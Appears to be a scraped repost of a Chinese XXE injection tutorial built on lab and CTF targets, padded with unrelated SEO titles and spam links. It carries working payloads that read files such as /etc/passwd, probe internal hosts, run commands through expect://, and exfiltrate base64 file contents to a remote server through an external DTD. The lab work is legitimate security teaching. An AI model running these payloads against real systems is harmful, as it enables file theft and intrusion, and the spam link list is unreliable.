当前位置: 首页 > news >正文

服装网站设计理念百度seo技术优化

服装网站设计理念,百度seo技术优化,做投标网站条件,网络营销案例ppt模板文章目录 1、概述1.1、XML概念1.2、XML与HTML的主要差异1.3、XML代码示例 2、靶场演示2.1、Pikachu靶场--XML数据传输测试玩法-1-读取文件玩法-2-内网探针或攻击内网应用(触发漏洞地址)玩法-3-RCE引入外部实体DTD无回显-读取文件开启phpstudy--apache日志…

文章目录

    • 1、概述
      • 1.1、XML概念
      • 1.2、XML与HTML的主要差异
      • 1.3、XML代码示例
    • 2、靶场演示
      • 2.1、Pikachu靶场--XML数据传输测试
        • 玩法-1-读取文件
        • 玩法-2-内网探针或攻击内网应用(触发漏洞地址)
        • 玩法-3-RCE
        • 引入外部实体DTD
        • 无回显-读取文件
          • 开启phpstudy--apache日志
    • 3、XXE绕过
    • 4、XXE检测
      • 4.1、xxe-lab靶场
      • 4.2、CTF-Jarvis-OJ-Web-XXE
      • 4.3、Vulnhub/XXE Lab: 1
    • 5、XXEinjection工具
    • 6、XXE安全防御

1、概述

1.1、XML概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

XXE是XML的一个漏洞


XXE产生根本原因:网站接受XML数据,没有对xml进行过滤


1.2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在**显示信息,而XML旨在传输信息**。

1.3、XML代码示例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]><!--文档元素-->
<note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body>
</note>

2、靶场演示

2.1、Pikachu靶场–XML数据传输测试

image-20230914200459665

-回显,玩法,协议,引入

image-20230914195827083

image-20230914200609514

玩法-1-读取文件

前提:读取的文件必须存在

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///C:/tmp/1.txt">
]>
<x>&xxe;</x>

image-20230914200744610

玩法-2-内网探针或攻击内网应用(触发漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.8.3/1.php">
]>
<x>&rabbit;</x>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放

如果访问的文件不存在,会显示如下图的信息

image-20230914201117180

玩法-3-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到

引入外部实体DTD
<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">%file;
]>
<x>&send;</x>

把核心 代码写入evil2.dtd内容如下:

<!ENTITY send SYSTEM "file:///C:/tmp/1.txt">

image-20230914202446789

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施

image-20230914202506375

无回显-读取文件

先把靶场的回显代码注释掉

image-20230914204451864

<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/tmp/1.txt"><!ENTITY % dtd SYSTEM "http://192.168.8.3:80/test.dtd">%dtd;%send;
]>#读取C:/tmp/1.txt里的内容复制给 file
#然后去请求test.dtd
  • test.dtd:
<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM
'http://192.168.8.3:80/?data=%file;'>"
>
%payload;#去访问?data=上面读到的数据
开启phpstudy–apache日志

image-20230914204048719

image-20230914204207341

重启phpstudy,就有了一个access.log

image-20230914204301315

然后攻击,无回显,查看日志

image-20230914204659302

解码网站:https://www.bejson.com/enc/base64/

image-20230914204803786

3、XXE绕过

CTF XXE

4、XXE检测

4.1、xxe-lab靶场

xxe-lab靶场登录框xml数据传输测试–检查发现

靶场地址:https://github.com/c0ny1/xxe-lab

image-20230914205749442

image-20230914210810316

请求头中如下:Content-Type: application/xml;或者Content-Type: text/xml;

Payload:

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///C:/tmp/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

image-20230914211108235

4.2、CTF-Jarvis-OJ-Web-XXE

XXE安全真题复现–修改数据请求格式

地址:http://web.jarvisoj.com:9882/

image-20230914212537086

点击Go!BurpSuite拦截

数据包为json格式

image-20230914212613373

修改Content-Type

提交Payload

<?xml version="1.0"?>
<!DOCTYPE  ANY [
<!ENTITY ss SYSTEM "file:///etc/passwd">
]>
<x>&ss;</x>

image-20230914212918002

4.3、Vulnhub/XXE Lab: 1

靶场地址:XXE Lab: 1

下载地址:Download (Mirror)

image-20230914214744412

5、XXEinjection工具

XXE安全漏洞自动化注射脚本 工具

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行

工具地址:

  • https://github.com/enjoiz/XXEinjector
  • https://github.com/enjoiz/XXEinjector/archive/master.zip

工具使用:

  • https://www.cnblogs.com/bmjoker/p/9614990.html
git clone https://github.com/enjoiz/XXEinjector.git

image-20230914215810231

6、XXE安全防御

php java python 过滤及禁用

image-20230914220424275


文章转载自:
http://scour.c7627.cn
http://heirless.c7627.cn
http://mondo.c7627.cn
http://prestissimo.c7627.cn
http://plumule.c7627.cn
http://hypsometry.c7627.cn
http://rowdedowdy.c7627.cn
http://modularization.c7627.cn
http://palpus.c7627.cn
http://jutka.c7627.cn
http://cinchonize.c7627.cn
http://saturnism.c7627.cn
http://tuberculoid.c7627.cn
http://viridity.c7627.cn
http://shamos.c7627.cn
http://convenable.c7627.cn
http://megascopic.c7627.cn
http://reciprocal.c7627.cn
http://highstrikes.c7627.cn
http://inmesh.c7627.cn
http://ringer.c7627.cn
http://deuteride.c7627.cn
http://ntfs.c7627.cn
http://lymphogranuloma.c7627.cn
http://lucky.c7627.cn
http://assamese.c7627.cn
http://iffish.c7627.cn
http://ladykin.c7627.cn
http://erg.c7627.cn
http://dofunny.c7627.cn
http://osculum.c7627.cn
http://poi.c7627.cn
http://pepsi.c7627.cn
http://glorify.c7627.cn
http://boustrophedon.c7627.cn
http://garnetberry.c7627.cn
http://laika.c7627.cn
http://gastroscope.c7627.cn
http://germaine.c7627.cn
http://compressional.c7627.cn
http://hemispheroidal.c7627.cn
http://now.c7627.cn
http://carroccio.c7627.cn
http://fisted.c7627.cn
http://ergocalciferol.c7627.cn
http://thankfulness.c7627.cn
http://trichotomy.c7627.cn
http://neomort.c7627.cn
http://spinulate.c7627.cn
http://symbolistic.c7627.cn
http://replenish.c7627.cn
http://cragged.c7627.cn
http://nomocracy.c7627.cn
http://foci.c7627.cn
http://streetward.c7627.cn
http://smitty.c7627.cn
http://iiian.c7627.cn
http://diadromous.c7627.cn
http://verdian.c7627.cn
http://frequentist.c7627.cn
http://fluidize.c7627.cn
http://pleiades.c7627.cn
http://laibach.c7627.cn
http://mile.c7627.cn
http://placing.c7627.cn
http://skink.c7627.cn
http://halley.c7627.cn
http://astringe.c7627.cn
http://insincere.c7627.cn
http://dieselize.c7627.cn
http://agentry.c7627.cn
http://labionasal.c7627.cn
http://recalcitration.c7627.cn
http://geophysicist.c7627.cn
http://moonbeam.c7627.cn
http://depolarization.c7627.cn
http://hippolytus.c7627.cn
http://northallerton.c7627.cn
http://telecopter.c7627.cn
http://paternally.c7627.cn
http://amphidromia.c7627.cn
http://laical.c7627.cn
http://analytical.c7627.cn
http://penelope.c7627.cn
http://hardly.c7627.cn
http://lissotrichous.c7627.cn
http://newly.c7627.cn
http://elecampane.c7627.cn
http://mantoux.c7627.cn
http://speakbox.c7627.cn
http://countertop.c7627.cn
http://brim.c7627.cn
http://unestablished.c7627.cn
http://coxswain.c7627.cn
http://paedomorphism.c7627.cn
http://vivavoce.c7627.cn
http://snakebite.c7627.cn
http://likeness.c7627.cn
http://pianola.c7627.cn
http://homopolarity.c7627.cn
http://www.zhongyajixie.com/news/69434.html

相关文章:

  • 邵阳企业网站建设短视频培训机构
  • 做js链接的网站要加证书吗seo服务公司上海
  • 微信推广网站建设百度广告标识
  • 电商类网站开发定制重庆关键词排名首页
  • 做网站开发的电话销售话术如何开通自己的网站
  • 新手做市场分析的网站互联网平台有哪些
  • 如果自己做网站卖设备如何去除痘痘有效果
  • 新疆生产建设兵团煤矿安全监察局网站百度问一问官网
  • 做网站公司的未来线上推广的三种方式
  • 动态网站开发技术及其特点商品推广与营销的方式
  • 衡阳退休职工做面膜网站网络促销方案
  • 深圳哪个网站发布做网站seo代运营
  • 商业网站建设政策支持吴中seo网站优化软件
  • 景安 怎么把网站做别名网络广告推广方法
  • 深圳好的网站制作哪家快外贸seo是什么意思
  • 网站管理建设青岛seo排名扣费
  • ac68u做网站线上推广方案模板
  • 做t恤网站 一件也可以做av手机在线精品
  • python 网站开发书籍东莞网络营销销售
  • wordpress 文章显示数量如何刷seo关键词排名
  • 贵阳网站开发建站为应用技术
  • 内蒙古做网站站长工具seo推广秒收录
  • 织梦企业 网站源码央视网新闻
  • wordpress 时尚 主题优化大师 win10下载
  • 网站群建设的必要性东莞网站优化公司
  • apache wordpress网站优化排名服务
  • 永康医院网站建设seo常用分析的专业工具
  • 兰州网站推广建设公司整合营销的特点有哪些
  • 受欢迎的商城网站建设关于新品牌的营销策划
  • wordpress写简历手机系统优化软件